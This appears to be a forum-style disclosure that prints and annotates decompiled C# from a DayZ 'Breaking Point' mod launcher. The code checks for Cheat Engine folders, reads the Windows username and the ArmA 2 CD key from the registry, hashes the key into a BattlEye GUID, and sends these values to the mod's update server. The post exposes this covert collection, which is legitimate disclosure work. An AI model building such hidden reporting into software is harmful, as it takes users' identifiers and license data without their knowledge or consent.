BP launcher offending code

public static string EncodeTo64(string toEncode)
{
    byte[] bytes = Encoding.ASCII.GetBytes(toEncode);
    return Convert.ToBase64String(bytes);
}

##########################################################################
#
#   This is the function to determine if a Cheat Engine install
#   exists. If true, send a flag -- "00xCE". Pretty self explanitory.
#
##########################################################################
private void EnvironmentThread_DoWork(object sender, DoWorkEventArgs e)
{
    if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.2\\"))
    {
        this.EnvironmentThread_PreformAction("00xCE");
    }
    if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.1\\"))
    {
        this.EnvironmentThread_PreformAction("00xCE");
    }
    if (Directory.Exists("c:\\program files\\Cheat Engine 6.2\\"))
    {
        this.EnvironmentThread_PreformAction("00xCE");
    }
    if (Directory.Exists("c:\\program files\\Cheat Engine 6.1\\"))
    {
        this.EnvironmentThread_PreformAction("00xCE");
    }
}

#########################################################################
#
#   This function grabs the current Windows username with
#   WindowsIdentity.GetCurrent().Name. This also executes
#   EnvironmentThread_Sumbit() -- AKA "phoning home".
#
#########################################################################
private void EnvironmentThread_PreformAction(string hID)
{
    string text = WindowsIdentity.GetCurrent().Name;
    text = text.Replace("\\", " | ");
    string hash = MainWindow.EncodeTo64(text);
    string hash2 = MainWindow.EncodeTo64(this.EnvironmentThread_Key());
    string hash3 = MainWindow.EncodeTo64(hID);
    this.EnvironmentThread_Submit(hash, hash2, hash3);
}

#########################################################################
#
#   This function attempts to read the "Key" value of the registry
#   key. The "Key" value is your CD Key converted into hex.
#   It converts the key into the format "XXXX-XXXX-XXXX-XXXX" and
#   passes it to the function MD5Hex().
#
#########################################################################
private string EnvironmentThread_Key()
{
    byte[] keyHex = (byte[])Registry.LocalMachine.CreateSubKey("SOFTWARE\\Wow6432Node\\Bohemia Interactive Studio\\ArmA 2 OA").GetValue("key");
    string text = MainWindow.keyHexToKey(keyHex);
    string password = string.Concat(new string[]
    {
        text.Substring(0, 4),
        "-",
        text.Substring(4, 5),
        "-",
        text.Substring(9, 5),
        "-",
        text.Substring(14, 5),
        "-",
        text.Substring(19, 5)
    });
    return this.MD5Hex("BE" + this.MD5Hex(password));
}

#########################################################################
#
#   Here is the dirty work. This function creates a web request to
#   send home to http://update.dayzbreakingpoint.com/update.php
#   The three variables (Cheat Engine Flag, Username, BE GUID) are
#   sent into update.php via a,b,c respectively. See lines 91,97.
#
#########################################################################
public void EnvironmentThread_Submit(string hash1, string hash2, string hash3)
{
    try
    {
        WebRequest webRequest = WebRequest.Create(string.Concat(new string[]
        {
            this.UpdateServer0,
            "data.php?a=",
            hash1,
            "&b=",
            hash2,
            "&c=",
            hash3
        }));
        webRequest.Timeout = 5000;
        WebResponse response = webRequest.GetResponse();
        StreamReader streamReader = new StreamReader(response.GetResponseStream());
        string text = streamReader.ReadToEnd();
        streamReader.Close();
        streamReader.Dispose();
}
    catch (WebException)
    {
        MessageBox.Show("Critcal Error Contacting Update Server.", "Breaking Point", MessageBoxButton.OK, MessageBoxImage.Hand, MessageBoxResult.OK);
        Application.Current.Shutdown();
    }
}
###############################################################################
#
#   I've included some of the encoding/encrypting functions as references.
#
###############################################################################
public static string keyHexToKey(byte[] keyHex)
{
    string arg = "";
    string text = "0123456789ABCDEFGHJKLMNPRSTVWXYZ";
    for (int i = 0; i < 3; i++)
    {
        ulong num = 0uL;
        for (int j = 0; j < 5; j++)
        {
            num <<= 8;
            num |= (ulong)keyHex[i * 5 + j];
        }
        for (int j = 0; j < 8; j++)
        {
            ulong num2 = num >> j * 5 & 31uL;
            char c = text[(int)num2];
            arg += c;
        }
    }
    return arg;
}
private string MD5Hex(string password)
{
    MD5 mD = new MD5CryptoServiceProvider();
    byte[] bytes = Encoding.Default.GetBytes(password);
    byte[] array = mD.ComputeHash(bytes);
    string str = "";
    byte[] array2 = array;
    for (int i = 0; i < array2.Length; i++)
    {
        byte b = array2[i];
        str += string.Format("{0:x2}", b);
    }
    return str;
}